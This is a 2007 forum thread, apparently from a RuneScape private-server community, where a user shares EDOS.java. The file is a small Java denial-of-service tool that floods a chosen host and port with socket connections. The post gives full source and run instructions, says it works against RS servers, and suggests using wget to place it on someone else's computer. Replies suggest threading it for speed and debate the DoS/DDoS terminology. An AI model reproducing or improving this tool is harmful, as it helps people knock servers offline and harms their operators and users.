Wrong section much?
|
Purpose: show a simple doser
Difficulty: 2
Assumed Knowledge: how to compile and run classes with arguments
Server Base: any
Classes Modified: EDOS.java
Procedure
Step 1: hi people, this is just a little doser i made if you want to try it out
to use as a standalone class, compile and run it like:Code:// EDOS // simple ddoser by Endar // version 1.01 import java.io.*; import java.net.*; public class EDOS { private String version = "1.01"; private Socket sock = null; public static void main(String args[]) { EDOS e = new EDOS(); e.dos(args[0], Integer.parseInt(args[1]), Integer.parseInt(args[2])); } public void dos(String host, int port, int connections) { println("EDOS version: " + version); println("created by Endar"); println(""); // new line for(int i = 0; i <= connections; i++) { try { sock = new Socket(host, port); println(i + " connections to " + host + ":" + port); } catch(Exception e) { e.printStackTrace(); } } } private void println(String s) { System.out.println(s); } }
localhost - hostCode:java EDOS localhost 80 999
80 - port
999 - connections
it also works on rs servers too, if you want you can use this on your server with a command and even wget it to the person's computer so it doesn't hog server cpu and what not
Credits: Endar, java docs
Last edited by Endar; 12-09-2007 at 07:32 PM. Reason: added format
Wrong section much?
Posting in the right section is basic knowledge...
hi Pkitten, if someone just came to the forum, they may be a bit confused as where to go and what to do
luckily we have people like you who watch over the mistakes and keep things in order
it's like when you go to a baseball game for the first time, everyone is mostly lost trying to find their seats and look for their friends
nice, I couldnt do this at all lol. I guess welcome to rune-server
You could've used threads instead to make it a bit faster and neater or you could've used the class's constructor instead of dumping everything in a random method.
There's a difference between DDoS and DoS.
hi Fasga, yes you are correct, the extra D is for distributed meaning more than one computer/person
as for threads, good idea, i may incorporate this in a later version
1. Good job dragging this community down a little bit more.
2. Its a DoSer, not a DDoSer, "DDoS" means distributed denial of service, or a botnet attack. DoS means Denial of Service.
« Previous Thread | Next Thread » |
Thread Information |
Users Browsing this ThreadThere are currently 1 users browsing this thread. (0 members and 1 guests) |